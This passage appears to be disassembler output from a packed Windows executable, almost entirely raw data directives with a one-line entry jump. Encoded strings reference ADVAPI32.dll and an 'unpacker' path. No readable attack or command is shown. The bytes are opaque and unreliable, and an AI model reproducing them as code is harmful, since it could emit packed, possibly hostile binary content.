		dd 580F7B19h, 9F35AD4Ah, 200DF64Fh, 6E77E614h, 0DDBE0073h
		dd 0FF20B837h, 0AA32AB06h, 2993C8BFh, 192AC80h,	1D25459Ch
		dd 0E9049990h, 14F378C8h, 7CA2A85Eh, 0F5753D00h, 0AD4150F9h
		dd 3A07B8ECh, 562816DAh, 83299CE6h, 7C3C80CEh, 6BA200B0h
		dd 4B018C2Ah, 0ED00C680h, 8EA4AE4Eh, 7FD60F6h, 832A8D45h
		dd 89F98126h, 0E1D4EDEAh, 4CBC4019h, 40A4F45Eh,	0C43E7929h
		dd 0D5F94200h, 5C884A41h, 1C80AC87h, 0B926C740h, 93246B00h
		dd 0DA4C663Fh, 12A00D2h, 0D1A34EB4h, 0FA10F6EDh, 570280FBh
		dd 879E3550h, 65280872h, 21023C82h, 704D540h, 87A1000Ah
		dd 1112B189h, 9007B0A4h, 9049615Bh, 0B76C84h, 6ADED980h
		dd 1E83BE3h, 0C0B239CFh, 5AC2E153h, 2F863834h, 8719A84Ch
		dd 70F4F0D5h, 0E022F948h, 3F8C0061h, 401458BDh,	0C87315A5h
		dd 791C5BEEh, 0A8404189h
		dd 0BD317F12h, 0DF82007Ch, 88C3E235h, 0D0C896A7h, 90869654h
		dd 0A4B79A18h, 0B883FC00h, 0F6BBB91Ah, 456200C0h, 2C18A0Ah
		dd 0EC0025DFh, 942F9158h, 14DB095h, 0D09D5BEDh,	0C3E79390h
		dd 0BD19D100h, 1811088Fh, 8A7C054Ah, 0C57B1BE9h, 0D004D0C8h
		dd 87048F81h, 88F24FB2h, 17FB8B4h, 0BC187441h, 0F962BF01h
		dd 0A581433Dh, 70B009CDh, 30214C05h, 2CDA15F8h,	0AB686D05h
		dd 0D030A95Eh, 963E7F53h, 1FCA8068h, 261D1E64h,	783D3626h
		dd 0CC3A3B40h, 5E0D1CA1h, 0A6A84343h, 2BE8BAB8h, 951E037Ah
		dd 8ED940D8h, 341006C0h, 21301F05h, 0E4748A90h,	0ED380BC6h
		dd 5AF86942h, 0EC61509Eh, 4C156F6h, 945D64C4h, 0E3F24088h
		dd 0A70B0C50h, 0F308668h, 1B8E4BA3h, 24CEC124h,	0BC9320h
		dd 0EAEE995Ah, 0B726590Dh, 2BE3271Fh, 0C0A342CFh, 1D04C523h
		dd 16C4A91Ch, 0BC001822h, 7DD97289h, 0CB1E1278h, 2C0082A5h
		dd 216D33FDh, 0EAED7D97h, 0F647002Fh, 0D0554167h, 25003517h
		dd 68F0990Dh, 1ED9DAF7h, 0E43D9EDBh, 6C44397Ch,	443F3807h
		dd 23C41683h, 0D31590F4h, 0AC8C1C40h, 0ADE760F0h, 137A22C1h
		dd 27486C00h, 0A5EC5C1Bh, 8FAF0267h, 29D12EA7h,	1E88B060h
		dd 0DDFE94A8h, 21678200h, 49BFCC41h, 228A2896h,	3E943A8h
		dd 0F5DF44A3h, 35C880ACh, 0F637D0Ch, 0EE1FAD07h, 0CC849589h
		dd 0B365404Ah, 0B4F11150h, 314F8094h, 80D77E93h, 60910090h
		dd 1C2CC8Bh, 9A90BC0Fh,	3B0FE8E8h, 0E8611E26h, 2D369E10h
		dd 0CE904CCh, 2C25E08h,	0D34E05Dh, 11499E6h, 0DBC20FC9h
		dd 0A2E28470h, 0C580F17Dh, 0BAAD298Eh, 21B41D30h, 9EF343F8h
		dd 592869BBh, 70F95487h, 0DBB81B8Eh, 0C5832C80h, 77F79000h
		dd 721F5F07h, 4FA7EB7h,	0D0069D8Eh, 0FFD880DAh,	10B6950Dh
		dd 0C9A93200h, 5304F258h, 2F0CE812h, 2DB8608Ch,	2300C89Eh
		dd 4E98E8A2h, 0DB8F2C73h, 877B0BEFh, 1C95A810h,	0CF6F9700h
		dd 26192E9Ch, 0E4A37953h, 0B477765Ah, 0D398408Ch, 100205Fh
		dd 1F4780B6h, 45A4856h,	490642Fh, 31A8CC1Ah, 52CE8809h
		dd 41C887C6h, 0B880F0E0h, 6C590517h, 3EC77Eh, 0D6AB372Ch
		dd 6A144622h, 60D0E3F8h, 85217D49h, 0A0CD0071h,	351EA89Ch
		dd 8E499E27h, 0E04C9CD0h, 60A5B0EAh, 0AA4A70F4h, 0BD16594Ch
		dd 48039670h, 9897A830h, 6023E1h, 7622EFA4h, 0C31838C9h
		dd 0AC500912h, 802C3010h, 0DD9F2F0h, 5ED402D1h,	9A6155B3h
		dd 14149441h, 5C00E0E2h, 83F14708h, 32002749h, 0B8739C6Ch
		dd 2C0B6716h, 40CA131h,	0A20D89FBh, 0F10079E0h,	11A8B562h
		dd 286AD387h, 1EE7EACFh, 0ED19C325h, 0EFE64800h, 14B69C71h
		dd 393744CFh, 4B0044A2h, 19013C96h, 0F6901D58h,	0AB68EC50h
		dd 9B62E50Dh, 25CAC07Fh, 0FF48B064h, 0F49D5E24h, 658C9C41h
		dd 20873992h, 53843FE4h, 7EB7B02h, 718F47B7h, 0ED8301FCh
		dd 31536A33h, 4B6D8AAh,	0CB0119ECh, 1F1E02D6h, 0B421CE90h
		dd 0C69F6001h, 0C8BADECCh, 3C800690h, 877FAE1Dh, 75E2001Ch
		dd 80E0C331h, 0AC01396Dh, 4178D63h, 1866E46Ch, 78272458h
		dd 0FA098C90h, 0A6040A00h, 2C40F16Dh, 19731C8Bh, 7AF48E1Eh
		dd 1880D3ABh, 0A252AA06h, 8A432009h, 25E007D4h,	0EFF308F0h
		dd 17221672h, 0F80C88E2h, 4B934E04h, 108115C3h,	7CF72BFFh
		dd 403CB690h, 47EB710Bh, 863A1E00h, 0D7A5092h, 759100D2h
		dd 77B7E36Dh, 0F6001A81h, 0BE25025Dh, 370B33E4h, 0D5596188h
		dd 5438E0A7h, 69C43502h, 723EF8A3h, 657500E4h, 2047091Ah
		dd 0C13CEB9h, 0A809DC6Dh, 0EF5C85EBh, 340D980Fh, 96680780h
		dd 1C778E22h, 2680B4AAh, 0F4FEAF8h, 80AD17BCh, 719420E0h
		dd 21009E7Bh, 94317E96h, 1F394E0Bh, 12344C62h, 382820B8h
		dd 851F18C6h, 8A0B9450h, 9FB4994Dh, 0EBCD5F10h,	99E1E70Fh
		dd 14830035h, 16080D98h, 8DF45E4Ah, 0E99AEC50h,	8FD23A05h
		dd 9CC1F850h, 0E87C1152h, 27B22B8Eh, 90917414h,	7597A48Ch
		dd 90D3F09h, 0B3640108h, 0F040D7ADh, 0A39D48h, 15B87594h
		dd 0E2C678EFh, 170EB606h, 5901E5h, 0B08057A2h, 8109374Fh
		dd 30858B33h, 985DA803h, 256D1FAEh, 0E1174ACCh,	0C18D4780h
		dd 2A8EB4D0h, 0DB612420h, 0A0B0045h, 33E1E228h,	48014C30h
		dd 0EE2A7169h, 4ECC67D1h, 305FE89Ah, 9939A0F4h,	0C0B01F28h
		dd 97C050BCh, 0C276EE1Eh, 949C0CA9h, 1C364081h,	4CE72151h
		dd 4F78C77Ch, 8ED5EE05h, 6080A813h, 0FE58038h, 57A33183h
		dd 0B058011Fh, 2A01D5C1h, 0B7BD428h, 41B64FEDh,	599B8F86h
		dd 0DF704000h, 9D50AFEEh, 769E0139h, 781F89F7h,	53C443D6h
		dd 3075AAE0h, 203FA927h, 9F5E0AB4h, 0C205804h, 0F4CD1584h
		dd 0E74CBB20h, 0D3338020h, 1990155h, 2D8D8FA4h,	0E4E13506h
		dd 69099F6Dh, 98C350CDh, 3FBBB238h, 5D80151Bh, 694CF38Eh
		dd 0A7005EE5h, 0DEA69FC1h, 0C7F1DBCh, 903D198Ah, 0DB00A5C9h
		dd 260131E3h, 8036A4h, 41F95C4Dh, 32206E91h, 0B07BEC2Ah
		dd 6A305100h, 7AB3F899h, 2C2D24D6h, 4F003DF9h, 27595769h
		dd 38002F95h, 0ACBDBEE6h, 52170DB8h, 2B05A8E8h,	0A4877866h
		dd 8E006A30h, 0B65EFB6Ch, 1F6D6185h, 0C968B59Dh, 0DC00D0F1h
		dd 0C180B8EEh, 0A8271502h, 0FAE09972h, 392A00BCh, 24920244h
		dd 8E09266Ah, 0C80BE672h, 0E23F36DCh, 8DF13CFCh, 0FD53A000h
		dd 0D4AD2E6Dh, 37789201h, 5E99EE3Ah, 88102321h,	0DD17D0h
		dd 366D7A14h, 5FE3660Bh, 0A94771C0h, 98208Ah, 492E5056h
		dd 38A5426Fh, 0A73C9117h, 1702088h, 0C7FB271Bh,	7012C029h
		dd 560073C4h, 41B3039Ch, 8A78BAh, 0B88DA879h, 80496F19h
		dd 0E9F69900h, 72C769FEh, 7BCA4E0h, 85C3A82Dh, 915FE01Dh
		dd 5E00C0D4h, 5D5CA781h, 3D213655h, 0A049B089h,	523D8Fh
		dd 0CA5CE744h, 0DC991EA4h, 0DD96B380h, 18629F98h, 19AA5EDCh
		dd 0F0F78174h, 2C991E04h, 9516803Ch, 0C843E920h, 0A0DAB847h
		dd 5B92EB64h, 2D002096h, 9D00B129h, 7557BC8Fh, 10C2BE3h
		dd 270F25D6h, 1063EF9Fh, 284DC478h, 3DB09140h, 121E7B06h
		dd 0C2B526Fh, 0A6B91E50h, 70B84578h, 0BB9D6808h, 0EBA8474Ah
		dd 0F144800h, 0AA1ED933h, 1100CCA0h, 5D18B872h,	61D8008Dh
		dd 3CB447F5h, 6D0A7197h, 0BCB57638h, 80770E09h,	39F7F63Ch
		dd 0C09CBC21h, 9E59A39Ah, 1844B58h, 1F3B7A51h, 247CF9E5h
		dd 0D600F443h, 9B0524F6h, 0BF0F8FA2h, 0A216907Ch, 6040A631h
		dd 256EF0D8h, 0E490815Fh, 3E22B4FFh, 2B14008Fh,	4F756A4Ah
		dd 173C4D05h, 638E00B9h, 956A4B5h, 810974Eh, 0EF1D8955h
		dd 9B40925Ch, 67C6E054h, 9D7913DDh, 0BBD8C88Ch,	0EC4B2002h
		dd 51DB3BD1h, 91E2076Ch, 8B25C057h, 0CA013258h,	30DB0940h
		dd 7422E077h, 47FBB900h, 0BCBF73D1h, 0BB3E8600h, 0FA7BB4B2h
		dd 8F190112h, 0EDD2E99Fh, 205ED55Bh, 45129E04h,	30D03E29h
		dd 1FCE1877h, 0C0BD42BBh, 59EEA07Bh, 0CB54295Ch, 950FF648h
		dd 0F7AFCD0h, 0A794C2A3h, 0B0E641h, 0A5FE96C4h,	7E0FCF21h
		dd 0D079EB3Dh, 0C2FA6DD0h, 6C569F00h, 0BC083BF1h, 5FE8EFh
		dd 770D7580h, 0E894D92Bh, 33802C94h, 9E81C17Ch,	69C097BEh
		dd 0C700A4D3h, 0DE11285Fh, 603EB6CCh, 7982C19Dh, 0CD4C0D19h
		dd 0C87500F3h, 3E654B0Fh, 9C1195B5h, 3A0E704Ah,	86DA941Fh
		dd 1EBA3B02h, 42D0C6E9h, 0ACDC241Ch, 12A2141Ch,	0A4835EDDh
		dd 0A09EE6D8h, 94DABE80h
		dd 734257Ah, 0DB11D84Ch, 0CABDE0AEh, 0EC4C366Ah, 3ADC8080h
		dd 5E9990Ch, 6516C641h,	17CA2A9h, 78102B3Dh, 0FC22E81Eh
		dd 5C46412h, 0C074CD84h, 0CBEF3B84h, 0C04E8F24h, 0CFEC0200h
		dd 29BB8183h, 7F01CC80h, 0B0FDFFh, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_53C0A4:				; CODE XREF: start:loc_4E0265j
					; DATA XREF: start:loc_4E0086o
		jmp	loc_53F46D
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 4
		dd 0B00000h, 0D4C96A00h, 57533777h, 2 dup(0)
		dd 9E000000h, 6	dup(0)
		dd 0FF90C000h, 0C4CBFFh, 4 dup(0)
		dd 59FF7300h, 2	dup(0)
		dd 40000000h, 2	dup(0)
		dd 9F69DD00h, 0
		dd 9F949900h, 5	dup(0)
		dd 32969C00h, 0B9h, 0
		dd 49010800h, 2	dup(0)
		dd 5E995300h, 3Fh, 2 dup(0)
		dd 7A0BD800h, 104h, 0Dh	dup(0)
		dd 0FFE0B000h, 0FFh, 0A38D5300h, 3 dup(0)
		dd 8C00h, 0
		dd 57313E00h, 0
		dd 57533700h, 6A6000h, 21669600h, 0C9h,	9 dup(0)
		dd 40878700h, 0Fh, 0Eh dup(0)
		dd 200h, 0Ah dup(0)
		dd 0FE030400h, 6E6C7Fh,	5 dup(0)
		dd 587F1D00h, 0FAh, 0FE030400h,	7Fh, 2 dup(0)
		dd 9F69DD00h, 7	dup(0)
		dd 0F7750500h, 0A0h, 0A7889E00h, 62h, 0
		dd 12FEF000h, 2	dup(0)
		dd 58B27A00h, 2F8D8D00h, 48h, 2	dup(0)
		dd 9F69DD00h, 9	dup(0)
		dd 9F9C3700h, 2	dup(0)
		dd 5AA63E00h, 0
		dd 593A4E00h, 6	dup(0)
		dd 0FB5E200h, 8Ah, 0
		dd 0F54A5000h, 3600077h, 0
		dd 5811C300h, 5A139D00h, 50F00h, 200h, 4 dup(0)
		dd 9F69DD00h, 4	dup(0)
		dd 9EB16800h, 5	dup(0)
		dd 57685400h, 6	dup(0)
		dd 0D4000000h, 77h, 0Eh	dup(0)
		dd 7CF4E900h, 36h, 7DE8F500h, 98h, 0Dh dup(0)
		dd 3ADF6700h, 0E4h, 6 dup(0)
		dd 0A6F90000h, 0FFh, 2 dup(0)
		dd 100h, 0
		dd 0F7EBB300h, 0FF8E6877h, 1C1EAFFh, 6 dup(0)
		dd 604C00h, 48000400h, 10h, 0E793EF00h,	77h, 371700h, 2	dup(0)
		dd 0F43FD400h, 7Eh, 0
		dd 6D9E00h, 0B2693900h,	0FE030400h, 7Fh, 6D9E00h, 18077500h
		dd 0Fh,	1Ah dup(0)
		dd 0FF9BD400h, 576854FFh, 3 dup(0)
		dd 0E8000h, 0Ch	dup(0)
		dd 100h, 0Ah dup(0)
		dd 0E7AC5E00h, 77h, 3 dup(0)
		dd 5701C700h, 585F9100h, 0A023E800h, 3 dup(0)
		dd 200h, 2 dup(0)
		dd 9FFDFF00h, 0FBh, 6 dup(0)
		dd 53002300h, 5	dup(0)
		dd 21212100h, 21h, 0
		dd 0E94ED000h, 9F314580h, 57313E00h, 0A1B13400h, 3 dup(0)
		dd 3CBDEA00h, 53h, 5 dup(0)
		dd 2CBD00h, 0
		dd 0FFFFFF00h, 0A19BACFFh, 0
		dd 68E100h, 0
		dd 35B00h, 0
		dd 0FDCCA300h, 0EFh, 4 dup(0)
		dd 57274900h, 0EC00h, 400h, 0
		dd 1FFF00h, 3 dup(0)
		dd 0FE033C00h, 7Fh, 0
		dd 8816AD00h, 20h, 0
		dd 0A1731600h, 2 dup(0)
		dd 6781E800h, 1, 6 dup(0)
		dd 1900h, 57533700h, 5 dup(0)
		dd 57876200h, 3	dup(0)
		dd 40000000h, 4	dup(0)
		dd 9FA00F00h, 0
		dd 0F18DEF00h, 0F4h, 2214000h, 0
		dd 24242400h, 9F939324h, 0
		dd 57685400h, 0C335D800h, 18h, 0FE288600h, 0B07Fh, 0
		dd 0FE000400h, 7Fh, 4 dup(0)
		dd 0B6000000h, 58019900h, 4 dup(0)
		dd 56707D00h, 78h, 58F86B00h, 0Eh dup(0)
		dd 57E59900h, 2	dup(0)
		dd 59B12000h, 8B7B9100h, 60h, 2	dup(0)
		dd 9F69DD00h, 57D8D200h, 7 dup(0)
		dd 57002300h, 4	dup(0)
		dd 12FF5400h, 3	dup(0)
		dd 0F97F00h, 6 dup(0)
		dd 12FF5400h, 5	dup(0)
		dd 6D71D300h, 74AF3434h, 34h, 0
		dd 5A5DD900h, 0Ch dup(0)
		dd 0A17FD800h, 0FF8B1400h, 0FFh, 8 dup(0)
		dd 26831700h, 5Fh, 0
		dd 300h, 3 dup(0)
		dd 5939F100h, 0
		dd 0E73D4500h, 0A1796E77h, 583FA600h, 3	dup(0)
		dd 0A6E41900h, 53F9B1FFh, 57002300h, 0AE6400h, 0Ah dup(0)
		dd 34567800h, 12h, 0
		dd 0F525A000h, 0F9h, 7 dup(0)
		dd 9F710F00h, 0
		dd 661CB100h, 5, 0
		dd 49010800h, 12FFE000h, 0
		dd 53C6B500h, 4	dup(0)
		dd 5EFFC500h, 3044Dh, 4	dup(0)
		dd 1517600h, 75h, 0
		dd 0B05700h, 6 dup(0)
		dd 591BB200h, 49010800h, 3 dup(0)
		dd 56BFDE00h, 0DBh, 5C3A4300h, 444E4957h, 5C53574Fh, 74737953h
		dd 32336D65h, 5644415Ch, 33495041h, 6C642E32h, 6Ch, 3Dh	dup(0)
		dd 56FF5400h, 3	dup(0)
		dd 9F3E3B00h, 2	dup(0)
		dd 6DD97400h, 0A0h, 4 dup(0)
		dd 0DBFEA500h, 0ABh, 2 dup(0)
		dd 628C00h, 974F6900h, 0E600006Dh, 77h,	4 dup(0)
		dd 100h, 6 dup(0)
		dd 36363600h, 598CB536h, 2 dup(0)
		dd 9ADFE00h, 1,	0
		dd 587EF700h, 3	dup(0)
		dd 400h, 2 dup(0)
		dd 0FFFFFF00h, 9F8C0AFFh, 0FE030400h, 7Fh, 4 dup(0)
		dd 0E7796300h, 511A6077h, 3 dup(0)
		dd 0D6B50D00h, 57C17F92h, 0
		dd 0FE030400h, 7Fh, 57F0ED00h, 100h, 7 dup(0)
		dd 0AFA1FE00h, 0Bh dup(0)
		dd 57876200h, 8	dup(0)
		dd 0A6FC2700h, 0FFh, 0
		dd 100h, 0
		dd 0FE030400h, 7Fh, 8 dup(0)
		dd 1BD00000h, 0
		dd 0DFFFB000h, 1, 2 dup(0)
		dd 780600h, 0Bh	dup(0)
		dd 4B12EF00h, 39h, 0
		dd 0FE030400h, 0FB5E27Fh, 8Ah, 9FA00F00h, 3 dup(0)
		dd 5A86E600h, 68E100h, 2 dup(0)
		dd 100h, 0
		dd 0FE030400h, 7Fh, 0Bh	dup(0)
		dd 40000000h, 5	dup(0)
		dd 5A643E00h, 4	dup(0)
		dd 0FB5E200h, 8Ah, 13h dup(0)
		dd 0A800h, 0
		dd 57274900h, 0
		dd 0FD8D8900h, 74h, 4 dup(0)
		dd 0CDB6E600h, 0Dh, 0
		dd 59813100h, 0
		dd 0E7A09900h, 77h, 7 dup(0)
		dd 56BFDE00h, 0DBh, 9 dup(0)
		dd 100h, 5A8DE300h, 3 dup(0)
		dd 0E7A83700h, 77h, 6 dup(0)
		dd 0FFFFFE00h, 0F575F5FFh, 8Ah,	2 dup(0)
		dd 0FF971F00h, 39FFh, 0
		dd 0FE030400h, 7Fh, 0
		dd 0E8360C00h, 77h, 0
		dd 67CA7600h, 1Dh, 4 dup(0)
		dd 48C0A400h, 0FAh, 6 dup(0)
		dd 0FB5E200h, 948Ah, 2 dup(0)
		dd 0ADB1CA00h, 0AFFF8400h, 5 dup(0)
		dd 57021700h, 4	dup(0)
		dd 9F09F700h, 5	dup(0)
		dd 30400h, 0
		dd 49388500h, 6FEh, 57B71900h, 0F5EE6700h, 0
		dd 74D04300h, 0DD00000h, 57685400h, 0
		dd 71CFCC00h, 0E1h, 0Fh	dup(0)
		dd 83826A00h, 0D9h, 0
		dd 0BE8D8D00h, 70h, 0
		dd 40000000h, 486CB800h, 2, 5 dup(0)
		dd 0A400h, 2 dup(0)
		dd 802900h, 2 dup(0)
		dd 20005000h, 576854FEh, 4 dup(0)
		dd 0FFFF00h, 2 dup(0)
		dd 0D8173300h, 26h, 0
		dd 57686600h, 3	dup(0)
		dd 12FFC400h, 0Ch dup(0)
		dd 577E7100h, 0
		dd 5A2A9E00h, 2Bh dup(0)
		dd 12FF5400h, 11h dup(0)
		dd 4934EB00h, 46h, 584F1D00h, 28h dup(0)
		dd 12A700h, 0
		dd 24015B00h, 5A299054h, 9 dup(0)
		dd 100h, 0EF5FE600h, 0EAh, 0Ch dup(0)
		dd 9190DE00h, 9ED55476h, 0
		dd 0FE030400h, 7Fh, 0
		dd 9F69DD00h, 3	dup(0)
		dd 0B400h, 0AC00h, 6 dup(0)
		dd 56674100h, 6	dup(0)
		dd 12FEF000h, 0Bh dup(0)
		dd 593A8700h, 0F6267C00h, 0E0h,	5 dup(0)
		dd 0E83E6800h, 77h, 57685400h, 0
		dd 5990C900h, 4	dup(0)
		dd 9E000000h, 0C530DF00h, 0A9h,	4 dup(0)
		dd 9FFA5600h, 0
		dd 2DB8F400h, 0C1h, 0
		dd 200h, 939300h, 7 dup(0)
		dd 57955200h, 6	dup(0)
		dd 5A853C00h, 0
		dd 12FD0800h, 0E7A5FD00h, 77h, 3 dup(0)
		dd 57533700h, 0B8779900h, 3Bh, 6 dup(0)
		dd 0E7A14400h, 4D366877h, 55h, 86C00h, 26h dup(0)
		dd 2A4C7100h, 49010856h, 5 dup(0)
		dd 5AC9C300h, 3	dup(0)
		dd 57685400h, 3	dup(0)
		dd 5A407700h, 58000000h, 2, 3 dup(0)
		dd 9F69DD00h, 5	dup(0)
		dd 0FF918000h, 0FFh, 2 dup(0)
		dd 57002300h, 12h dup(0)
		dd 0E8279000h, 77h, 0B6BA6300h,	0FEh, 5	dup(0)
		dd 40000000h, 3	dup(0)
		dd 9F8C0A00h, 0
		dd 5938FA00h, 3	dup(0)
		dd 0FE030400h, 7Fh, 6 dup(0)
		dd 6D9E00h, 0FE030400h,	7Fh, 50F00h, 3 dup(0)
		dd 93D89000h, 13h, 2 dup(0)
		dd 100h, 7 dup(0)
		dd 0FF917C00h, 0FFh, 6 dup(0)
		dd 0FFFFB000h, 1, 0
		dd 0E7C48600h, 7CF4E977h, 36h, 5E919500h, 7F21991Ah, 0A9h
		dd 4 dup(0)
		dd 40000000h, 5	dup(0)
		dd 0A9FEF700h, 0FFh, 2 dup(0)
		dd 59F5C300h, 2	dup(0)
		dd 57F32600h, 2	dup(0)
		dd 65685400h, 6164696Dh, 20h dup(0)
		dd 5B2DD600h, 6	dup(0)
		dd 59070000h, 0
		dd 40000000h, 3	dup(0)
		dd 8A06C200h, 13727302h, 97h, 0E78B8200h, 9E0FE677h, 2 dup(0)
		dd 57685400h, 0E78B8200h, 77h, 3 dup(0)
		dd 400h, 5 dup(0)
		dd 40000000h, 59000000h, 2, 0
		dd 5A13CD00h, 2A57BC00h, 6, 3 dup(0)
		dd 0C1B5600h, 0BF0B0h, 57DA9D00h, 7 dup(0)
		dd 0FE030400h, 7Fh, 57876200h, 81429400h, 0FEh,	6D9E00h
		dd 2 dup(0)
		dd 8A950500h, 1Bh, 4 dup(0)
		dd 36F100h, 3 dup(0)
		dd 0DD5ECC00h, 77h, 3 dup(0)
		dd 0BF000000h, 7 dup(0)
		dd 2B8200h, 3 dup(0)
		dd 9E000000h, 2	dup(0)
		dd 2428B400h, 88h, 5 dup(0)
		dd 5B25C700h, 0E8216800h, 0ED00AC77h, 0FFh, 3A000h, 9BD400h
		dd 0
		dd 0B41B4000h, 76h, 0AE5FF400h,	0
		dd 0A897AC00h, 0FFh, 0E8216400h, 77h, 3	dup(0)
		dd 57A27900h, 0
		dd 0F8F07F00h, 24015B5Ch, 54h, 0FFFFFF00h, 411519FFh, 57AC804Bh
		dd 5 dup(0)
		dd 0DD000000h, 77h, 0
		dd 898B6F00h, 0FBh, 6D9E00h, 0E805D800h, 77h, 2	dup(0)
		dd 9F923400h, 0
		dd 0F7AC0500h, 0A0h, 9FA03700h,	5 dup(0)
		dd 56CBAC00h, 3	dup(0)
		dd 10A9E900h, 2	dup(0)
		dd 0FFFF00h, 2 dup(0)
		dd 0FE030400h, 787Fh, 5	dup(0)
		dd 53E94D00h, 9	dup(0)
		dd 0ED009C00h, 0FFh, 200h, 0
		dd 0DCCBDE00h, 4Ch, 0
		dd 4934EB00h, 46h, 0
		dd 9000h, 5 dup(0)
		dd 7400h, 5A2A4C00h, 0
		dd 0FFA08400h, 0FFh, 3 dup(0)
		dd 8E800h, 200h, 0
		dd 0CE5EE400h, 0E8h, 6 dup(0)
		dd 100h, 0
		dd 74AE3500h, 0FFE9DD34h, 0FFh,	8800h, 0FE030400h, 7Fh
		dd 4 dup(0)
		dd 545F0200h, 5	dup(0)
		dd 7000h, 9 dup(0)
		dd 11111100h, 0FF9D9011h, 0FFh,	5536EB00h, 53h,	9 dup(0)
		dd 57685400h, 33333300h, 2 dup(33333333h), 53E94D33h, 3	dup(0)
		dd 40000C00h, 2, 2 dup(0)
		dd 9F229200h, 0EF561700h, 0FFh,	53F33500h, 7C00h, 4 dup(0)
		dd 0D817BB00h, 40100026h, 8 dup(0)
		dd 780600h, 56FF6E00h, 0
		dd 0D50000h, 0B3h dup(0)
		dd 58105500h, 0
		dd 59DF7300h, 5	dup(0)
		dd 57274900h, 2	dup(0)
		dd 5AFFFF00h, 21h dup(0)
		dd 53E94D00h, 3	dup(0)
		dd 0A3999500h, 2 dup(0)
		dd 5A9F5300h, 2	dup(0)
		dd 5A070E00h, 0
		dd 5A349800h, 2	dup(0)
		dd 5B5B2500h, 0FE030483h, 0A07Fh, 3 dup(0)
		dd 57876200h, 0
		dd 53FE5300h, 0FFF71500h, 0FFh,	6 dup(0)
		dd 5A48A800h, 81821301h, 53E94D1Fh, 0Ah	dup(0)
		dd 7933CC00h, 98h, 0BDAA00h, 6 dup(0)
		dd 0BC2B800h, 6, 0
		dd 200h, 2B00h,	2 dup(0)
		dd 100000h, 8 dup(0)
		dd 9E003E00h, 0E001400h, 4 dup(0)
		dd 6D9E00h, 0
		dd 59118800h, 80h, 8A000000h, 2, 2 dup(0)
		dd 57685400h, 7	dup(0)
		dd 0E88D8D00h, 0D1h, 30400h, 2 dup(0)
		dd 57A41400h, 2	dup(0)
		dd 37938500h, 0DEh, 5 dup(0)
		dd 57313E00h, 2	dup(0)
		dd 9FA00F00h, 5	dup(0)
		dd 0FB5E200h, 8Ah, 0
		dd 0EFAB8D00h, 0AFh, 9F69DD00h,	0A8971F00h, 0FFh, 0
		dd 6D9E00h, 0FE030400h,	7Fh, 0
		dd 55FFBA00h, 0E75CB5FFh, 77h, 6 dup(0)
		dd 9F5E2E00h, 58E94D00h, 0
		dd 12FFF000h, 57313E00h, 0
		dd 12FF5400h, 5	dup(0)
		dd 0FB3AD800h, 0F52E0FACh, 77h,	0
		dd 0FF7FFD00h, 4 dup(0)
		dd 0E8061800h, 77h, 0
		dd 57D5F200h, 0
		dd 9C00h, 50F00h, 2D343000h, 31h, 59C7E900h, 5701EF00h
		dd 6 dup(0)
		dd 9F70C400h, 4934EB00h, 5A6FC746h, 3 dup(0)
		dd 68519D00h, 0B3h, 3 dup(0)
		dd 57685400h, 2	dup(0)
		dd 400A0C00h, 7	dup(0)
		dd 0E82FE800h, 0FFFFFD77h, 0FFh, 3 dup(0)
		dd 0FFFAF100h, 0FFh, 4 dup(0)
		dd 9000000h, 1,	2 dup(0)
		dd 0FE030400h, 14347Fh,	13h dup(0)
		dd 0FE030400h, 5797A87Fh, 0FF917C00h, 0FFh, 6 dup(0)
		dd 22222200h, 22222222h, 22h, 3	dup(0)
		dd 466AD500h, 0Fh, 75B500h, 5 dup(0)
		dd 9800h, 0E9A8C500h, 0F7h, 4001D800h, 0B800h, 0C00B0000h
		dd 18C20374h, 24448B00h, 0E8530Ch, 5B000000h, 17C381h
		dd 5C890000h, 44891024h, 0B85B1424h, 9FA037h, 448BE0FFh
		dd 0E0FF0424h, 15h dup(0)
		dd 59900D00h, 0
		dd 30400h, 6 dup(0)
		dd 9F915B00h, 0
		dd 0A7033C00h, 5A6FC7FFh, 0F59FB700h, 5A2F2057h, 4000C800h
		dd 0A0156800h, 2 dup(0)
		dd 57685400h, 0
		dd 0E7A13F00h, 77h, 585F9100h, 0
		dd 0B8B9EF00h, 10A9E975h, 0Ah dup(0)
		dd 0A3CBA900h, 13h, 0Ch	dup(0)
		dd 0E7266E00h, 5C3A4377h, 6E755F6Dh, 6B636170h,	7265h
		dd 85h dup(0)
		dd 53C5DD00h, 3	dup(0)
		dd 3C60000h, 4 dup(0)
		dd 8400h, 2 dup(0)
		dd 0F26D5100h, 8Eh, 7 dup(0)
		dd 8EB00h, 7 dup(0)
		dd 5B000000h, 2, 0
		dd 57A1F000h, 53F00900h, 5907EC00h, 4 dup(0)
		dd 4934EB00h, 46h, 8 dup(0)
		dd 9F2BDE00h, 7	dup(0)
		dd 57533700h, 0
		dd 7D8EA500h, 9, 0
		dd 0F0385600h, 564324h,	5 dup(0)
		dd 0AD000000h, 5 dup(0)
		dd 1857C900h, 88h, 5A412700h, 0C530DF00h, 0A9h,	0Ah dup(0)
		dd 0A8AEB800h, 0FFh, 3 dup(0)
		dd offset dword_57E300
		dd 0
		dd 9F3E3B00h, 28010500h, 0Ah, 0
		dd 0E805D800h, 77h, 0
		dd 0A8119E00h, 0FFh, 0A0326800h, 0
		dd 0F5180B00h, 77h, 0
		dd 587EE400h, 0
		dd 7D6C9100h, 3F881h, 8	dup(0)
		dd 1B46D100h, 33h, 4 dup(0)
		dd 1FCFC00h, 80h, 57002300h, 0A3A5E700h, 4 dup(0)
		dd 8E400h, 3 dup(0)
		dd 0F5000000h, 77h, 4 dup(0)
		dd 0A593F400h, 0F4h, 5 dup(0)
		dd 591D1F00h, 2	dup(0)
		dd 3B022200h, 0B9h, 3 dup(0)
		dd 0FE030400h, 7Fh, 4 dup(0)
		dd 5AA75B00h, 54E3D700h, 70h, 0
		dd 57DA0600h, 3	dup(0)
		dd 107500h, 2 dup(0)
		dd 0FE030400h, 7Fh, 0
		dd 0CA71AC00h, 28h, 2 dup(0)
		dd 56CBAC00h, 3	dup(0)
		dd offset dword_576400
		dd 0
		dd offset dword_457444+480BCh
		dd 22FE888h, 3 dup(0)
		dd 57685400h, 0
		dd 0CC00h, 0
		dd 0FF8D9700h, 0FFh, 5 dup(0)
		dd 6D9E00h, 0
		dd 57F32600h, 5	dup(0)
		dd 8000h, 4 dup(0)
		dd 0D4C96A00h, 77h, 0
		dd 0DD23D700h, 77h, 0
		dd 0CEAADF00h, 0FF917C5Fh, 490108FFh, 5	dup(0)
